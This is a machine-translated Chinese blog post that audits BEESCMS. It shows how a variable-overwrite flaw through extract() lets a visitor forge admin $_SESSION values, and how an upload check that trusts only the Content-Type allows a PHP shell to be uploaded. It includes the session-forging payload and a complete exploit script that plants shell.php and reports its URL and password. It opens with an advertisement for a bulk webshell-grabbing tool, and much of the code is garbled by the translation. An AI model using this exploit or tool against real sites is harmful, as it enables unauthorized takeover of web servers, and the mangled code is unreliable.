说到批量拿webshell工具【最新】内部有多个漏洞,可自动进行url采集,自动爬虫多个引擎和友情链接url,过狗一句话,轻松日出上千。
详情可看:https://e1.pcloud.link/publink/show?code=XZBhIYZ3naKX5vQWOJh8kP3WLAlQufFlg9y

tg:xise404,命令执行,文件操作和sql注入。以sql为例,我只是做了一个代码审计。今天换了个思路,从文件操作开始。毕竟一个文件操作不对,就是getshell,比一步一步的注入要爽快的多。

一.重点
对于文件操作部分,首先要对php内置的文件操作函数的功能和特点有个大概的了解。

文件获取内容()
文件内容()
移动_上传_文件()
readfile()
fopen()
文件()
fputs()
fwrite()
…………

这些都是文件读写的常用函数。一般对于这些函数的调用,可以直接搜索文件类的漏洞,并且可以跟踪传递上下文参数的过程。说起来挺简单的。其实一条一条看过去还是很费时间的,尤其是在快速漏洞挖掘方面。我对系统结构不熟悉,有些参数传递或者方法乍一看可能很蠢。那么如何快速发现一个文件类的漏洞呢?
审计文件漏洞,首先我会去这个系统的上传部分。上传部分是已经构建好的从输入到写入再到输出的一套流程。如果里面有问题,很可能直接拿壳。
上传漏洞挖了这么多年,各种cms或多或少都会对上传部分进行检查和限制。常见的检查有
1.$_FILES['file']['name']一般会从上传文件的文件名中取出扩展名,与白名单或黑名单进行对比,确定是否继续上传。
2.$_FILES['file']['type']上传文件的类型一般与白名单进行比较。
3.$_FILES['file']['tmp_name']上传文件的临时文件。一些比较严谨的CMS会在这个阶段用getimagesize等函数检查临时文件。如果文件是非法的,直接丢弃它。
常见的限制有
1.使用函数is_uploaded_file()将检查$_FILES['file']['tmp_name']是否是合法上传的文件。当$_FILES被漏洞覆盖时,可修改的$_FILES['file']['tmp_name']将是一个极大的安全威胁。
2.单独使用move_uploaded_file()函数来处理上传的文件,原因同上。move_uploaded_file函数也会判断是否是合法文件。降低系统存在可变覆盖漏洞时躺枪的概率。
3.文件名是不可控的,后缀仅限于数组成员,如

$ext=array('jpg ',' png ',' gif ');

$filename = 'user_avatar_01 '。$ ext[$ s];

接下来,让我们看一下我们的目标业务
第二,实战
我们来看看beescms的上传代码。

if(isset($ _ FILES[' up ']){

if(is _ uploaded _ file($ _ FILES[' up '][' tmp _ name ']){

if($up_type=='pic'){

$ is _ thumb = empty($ _ POST[' thumb '])?0:$ _ POST[' thumb '];

$ thumb _ width = empty($ _ POST[' thumb _ width '])?$ _ sys[' thump _ width ']:intval($ _ POST[' thumb _ width ']);

$ thumb _ height = empty($ _ POST[' thumb _ height '])?$ _ sys[' thump _ height ']:intval($ _ POST[' thumb _ height ']);

$ logo = 0;

$ is _ up _ size = $ _ sys[' upload _ size ']* 1000 * 1000;

$ value _ arr = up _ img($ _ FILES[' up '],$is_up_size,array('image/gif ',' image/jpeg ',' image/png ',' image/jpg ',' image/bmp ',' image/pjpeg '),$is_thumb,$thumb_width,$thumb_height,$ logo);

$ pic = $ value _ arr[' pic '];

如果(!empty($ value _ arr[' thumb ']){

$ pic = $ value _ arr[' thumb '];

}

$str="$(self.parent.document)。find('#{$get} ')。val(' { $ pic } ');self . parent . TB _ remove();";

echo $ str

退出;

}//图像上传

}否则{

Die('未上传任何文件或文件大小超过服务器限制大小并被返回以重新上传');

}

}

可以看出,is_uploaded_file是用来检查上传文件是否合法的,所以即使系统存在可变覆盖漏洞(这个系统确实存在,后面会讨论),也没有太大帮助。

其实up_img函数是用来上传的。让我们来看看吧。

function up_img($file,$size,$type,$thumb=0,$thumb_width= ",$thumb_height= ",$logo=1,$pic_alt="){

if(文件_存在(数据_路径。sys _ info . PHP '){ include(DATA _ PATH。sys _ info . PHP’);}

if(is _ uploaded _ file($ file[' tmp _ name ']){

if($file['size']>$size){

msg(‘图片超过’。$大小。大小’);

}

$ pic _ name = pathinfo($ file[' name ']);//图片信息

$ file _ type = $ file[' type '];

如果(!in _ array(strtolow($ file _ type),$type)){

Msg(“上传图片格式不正确”);

}

$ path _ name = " upload/img/";

$path=CMS_PATH。$ path _ name

如果(!file_exists($path)){

@ mkdir($ path);

}

$up_file_name=empty($pic_alt)?日期(' YmdHis ')。兰德(110000):$ pic _ alt;

$up_file_name2=iconv('UTF-8 ',' GBK ',$ up _ file _ name);

$文件名= $路径。$up_file_name2。'.'。$ pic _ name[' extension '];

if(文件存在($文件名)){

Msg('此图片已经存在,请更改图片名称!');//确定名称是否相同。

}

$ return _ name[' up _ pic _ size ']= $ file[' size '];//上传图像大小

$ return _ name[' up _ pic _ ext ']= $ pic _ name[' extension '];//上传文件扩展名

$ return _ name[' up _ pic _ name ']= $ up _ file _ name;//上传图像名称

$ return _ name[' up _ pic _ path ']= $ path _ name;//上传图像路径

$ return _ name[' up _ pic _ time ']= time();//上传时间

unset($ pic _ name);

//开始上传

如果(!move _ uploaded _ file($ file[' tmp _ name '],$file_name)){

Msg('图片上传失败',",0);

}

好吧,让我们看看他的检查和限制

$ file _ type = $ file[' type '];

如果(!in _ array(strtolow($ file _ type),$type)){

Msg(“上传图片格式不正确”);

}

在这里,检查上传文件的类型。如果类型不在白名单中,将直接提示错误。

其实这张支票是没用的。类型来自客户端,你可以随意伪造。

让我们来看看保存的文件名。

$ pic _ name = pathinfo($ file[' name ']);//图片信息

…………

$up_file_name=empty($pic_alt)?日期(' YmdHis ')。兰德(110000):$ pic _ alt;

$up_file_name2=iconv('UTF-8 ',' GBK ',$ up _ file _ name);

$文件名= $路径。$up_file_name2。'.'。$ pic _ name[' extension '];

没有经过任何检查,我们直接把$file['name'](也就是我们上传时的文件名)的后缀取到了新生成的文件中,只是伪造了合法的类型就可以正常获取外壳了。

第三,曲折
结束了吗?不是,其实beecms系统前台没有上传点。。。的所有上传功能都需要后台权限。当然一个后台getshell是满足不了的,所以我继续挖。我们来看看如何验证后台权限。

Admin/upload.php第二行

include(' init . PHP ');

Admin/init.php第54行

如果(!is _ log in()){ header(' location:log in . PHP ');退出;}
看这个is_login函数。

包括/fun.php第997行
函数是_login(){
if($_SESSION['登录']==1&&$_SESSION['管理']){
if(time()-$ _ SESSION[' log in _ time ']> 3600){
log in _ out();
}否则{
$ _ SESSION[' log in _ time ']= time();
@ session _ regenerate _ id();
}
返回1;
}否则{
$ _ SESSION[' admin ']= ' ';
$ _ SESSION[' admin _ without ']= ' ';
$ _ SESSION[' admin _ id ']= ' ';
$ _ SESSION[' admin _ time ']= ' ';
$ _ SESSION[' log in _ in ']= ' ';
$ _ SESSION[' log in _ time ']= ' ';
$ _ SESSION[' admin _ IP ']= ' ';
返回0;
}

}
看这个is_login函数。

包括/fun.php第997行

函数是_login(){
if($_SESSION['登录']==1&&$_SESSION['管理']){
if(time()-$ _ SESSION[' log in _ time ']> 3600){
log in _ out();
}否则{
$ _ SESSION[' log in _ time ']= time();
@ session _ regenerate _ id();
}
返回1;
}否则{
$ _ SESSION[' admin ']= ' ';
$ _ SESSION[' admin _ without ']= ' ';
$ _ SESSION[' admin _ id ']= ' ';
$ _ SESSION[' admin _ time ']= ' ';
$ _ SESSION[' log in _ in ']= ' ';
$ _ SESSION[' log in _ time ']= ' ';
$ _ SESSION[' admin _ IP ']= ' ';
返回0;
}

}

这里没有检查用户信息,只是简单判断是否有login_in admin的两个会话标识位,是否超时。

如前所述,该系统具有可变覆盖漏洞。如果可以覆盖(添加)这些$_SESSION值,就可以绕过这个检查。

$_SESSION覆盖有一个先决条件。session_start()必须出现在覆盖之前,或者即使$_SESSION变量被覆盖,一旦session_start()变量被初始化。

看一下覆盖率。

Includes/init.php部分代码省略。

session_start()。
@include(INC_PATH。fun . PHP’);
define('IS_MB ',IS _ MB());

unset($HTTP_ENV_VARS,$HTTP_POST_VARS,$HTTP_GET_VARS,$HTTP_POST_FILES,$ HTTP _ COOKIE _ VARS);
如果(!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$ _ REQUEST = addsl($ _ REQUEST);
}
$ _ COOKIE = addsl($ _ COOKIE);
$ _ POST = addsl($ _ POST);
$ _ GET = addsl($ _ GET);
}
if(isset($ _ REQUEST)){ $ _ REQUEST = fl _ value($ _ REQUEST);}
$ _ COOKIE = fl _ value($ _ COOKIE);
$ _ GET = fl _ value($ _ GET);
@ extract($ _ POST);
@ extract($ _ GET);
@ extract($ _ COOKIE);
一个全局过滤的代码,最后用extract初始化变量。因为没有使用EXTR_SKIP参数,所以覆盖了所有变量,并且因为已经执行了session_start()。
因此您可以覆盖(添加)任何$_SESSION值。这样,您就可以绕过后台检查,将一个后台getshell变成前台getshell。

四。利用

很好用。首先,后index.php。

_ SESSION[登录]= 1 & _ SESSION[管理]= 1 & _ SESSION[登录时间]=9999999999

然后打开/admin/upload.php,选择一个要上传的php文件。
将上传包中的内容类型修改为image/png。

你做梦去吧。让我们把exp放上去。。。
脚本有攻击性,请在当地环境下测试!
不要在任何网站上使用这个脚本!
使用此脚本造成的一切后果与我无关!

print_r('
****************************************************
*
* Beescms文件上传漏洞
*按SMLDHZ
* QQ:3298302054
*用法:php '。basename(__FILE__),'全球资源定位器(Uniform Resource Locator)
* php '。basename(__FILE__),'[URL]http://www . bees CMS . com/bees CMS/[/URL]
*
****************************************************
');
if($argc!=2){
退出;
}
$ uri = $ argv[1];
$ payload 1 = ' _ SESSION[log in _ in]= 1 & _ SESSION[admin]= 1 & _ SESSION[log in _ time]= 9999999999 ';
$payload2 = array(
向上”;filename="shell.php " '。" \ r \ n content-Type:image/png \ r \ n \ r \ n " = > ' "
);
preg_match('#Set-Cookie:(。*);# '、myCurl($uri。"/index.php ",$payload1),$ match);
如果(!isset($ match[1]){
死('[-]Opps!无法获取Cookie ...);
}
echo "+"获取了Cookie:"。$match[1]。”\ r \ n”;
echo "[+]正在尝试获取shell...\ r \ n ";
$tmp = myCurl($uri。"/admin/upload.php ",$payload2,$ match[1]);
preg_match('#val\(\ '(。*)\'\)# ',$tmp,$ shell);
如果(!isset($ shell[1]){
死('[-]Opps!无法获取外壳...请参阅下面的内容。$ tmp);
}
echo "+]你的shell:"。$uri。“/upload/”。$shell[1]。“[密码]:x”;

函数myCurl($url,$postData= ' ',$cookie=''){
$ ch = curl _ init();
curl_setopt($ch,CURLOPT_URL,$ URL);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$ post data);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
如果($cookie!= ''){
curl_setopt($ch,CURLOPT_COOKIE,$ COOKIE);
}
$ ret = curl _ exec($ ch);
curl _ close($ ch);
返回$ ret
}

摘要

前台变量覆盖$_SESSION以绕过后台验证。

后台部分只验证Content-Type导致getshell。

批量拿webshell工具【最新】相关推荐

  1. mysql建站工具_IIS批量建站工具_快速建站-森动网

      本单详情 森动独家最低价: 1.森动网最新推出"今日特价"频道,每日推荐一款产品,保证价格超低. 2.原价368元的"BoIIS批量建站工具"-现在站长特价 ...

  2. Ansible批量自动化管理工具(二)

    Ansible批量自动化管理工具(二) 链接:https://pan.baidu.com/s/1A3Iq3gGkGS27L_Gt37_I0g 提取码:ncy2 复制这段内容后打开百度网盘手机App,操 ...

  3. CYQ.DBImport 数据库反向工程及批量导数据库工具 V1.0 发布

    [Tip:2011-05-19 14:55左右修正个别Bug后重新上传了一下,之前下载的新重新下载.] 杂七几句: 自从购买VPS之后,打算将 秋色园QBlog 搬迁,也想把目前的Access数据库换 ...

  4. mybaitplus 根据id批量进行修改_批量重命名工具

    审计师在归档的时候,会大量整理文件,比如对归档附件的重命名. 如果你使用的Total Commander这款神器,它自带批量重命名功能. 这里分享下,以前自己用Excel VBA做的批量重命名工具. ...

  5. 电商前台模板中文html5_跨境电商平台上产品如何上传?虾皮新版批量上传工具使用指南分享...

    大家好,这里是天师跨境,今天来为电商新人们解答一下关于如何在跨境电商平台上上传产品的疑惑,顺便介绍一下虾皮跨境平台的新版批量上传工具是如何使用的. 在跨境电商平台上开店的新手们在入驻成功后,一般最先面 ...

  6. CYQ.DBImport 数据库反向工程及批量导数据库工具 V2.0 发布[增加批量导出数据库脚本及数据库设计文档]...

    上次发布的:CYQ.DBImport V1.0的相关介绍:CYQ.DBImport 数据库反向工程及批量导数据库工具 V1.0 本次发布的V2.0 版本,准备突击海外,下面为相关的介绍. 一:新版本2 ...

  7. Hitv8 文件批量重命名工具

        本工具用于单文件或批量文件文件名.文件类型扩展名重命名的小工具,欢迎使用! 使用说明: 1.使用拖放方式,将文件拖入列表框即可 2.可以不输文件名,表示文件名不变,只改类型: 类型也可以自已输 ...

  8. linux批量部署war工具,Linux 批量一键部署工具 Expect

    Linux 批量一键部署工具 Expect 既然没有遇到过,做好准备总是好的.这是自己送给自己的话,现在运维做自动话越来越多,自己就学以下,记录笔记.目前主流的有puppet.Expect.pssh等 ...

  9. 程序10 VC编写批量重命名工具

    实现对文件夹下的全部文件进行重命名. 本节编写一个批量重命名工具. 学习内容: 文件操作,文件遍历等知识 API: CFileFind FindFile FindNextFile rename 视频学 ...

最新文章

  1. linux集群巡检,Linux巡检
  2. [转] 爱情的隐式马尔可夫模型(Love in the Hidden Markov Model)
  3. ElasticSearch highlight搜索结果高亮显示(英文检索)
  4. 高清壁纸|海贼王漫画名场面
  5. python中module错误_python错误:“module”对象不可调用数学中心
  6. 用模板类实现shared_ptr和unique_ptr
  7. PCB CS架构(工程系统)实现单点登入方法
  8. 数据库系统概论思维导图
  9. JAVA综合实习报告
  10. NVIDIA GPU Compute Capability解释
  11. golang 接口的底层实现
  12. 极值理论(二):阈值超越量与尾部估计
  13. SN74AHCT541PWR缓冲器 非反向1Element 8 Bit per Element 三态 Output 20-TSSOP
  14. 申请国家发明专利费用是多少?
  15. 1631 小鲨鱼在51nod小学
  16. 国外大神数据,全球主板厂商信息汇总,A B X系在主板汇总
  17. 思维导图怎么画,教你套用思维导图模板
  18. python泰波那契序列(leetcode)
  19. ESXi系统U盘做存储
  20. uniapp 微信小程序 上传图片到服务器

热门文章

  1. HTML5 FileReader
  2. [完结]saliency filters精读之permutohedral lattice
  3. proteus元件大全 仿真元件 电子元器件英文缩写
  4. linux(xshell的安装与使用)
  5. 谈谈“数据库中间件”生态与发展
  6. 车辆计数“FCN-rLSTM: Deep Spatio-Temporal Neural Networks for Vehicle Counting in City Cameras”
  7. 什么是框架?常用框架有哪些?
  8. Oracle 使用序列插入表自增字段(主键)
  9. C#连接MySQL数据库详细步骤
  10. MySQL 之JDBC编程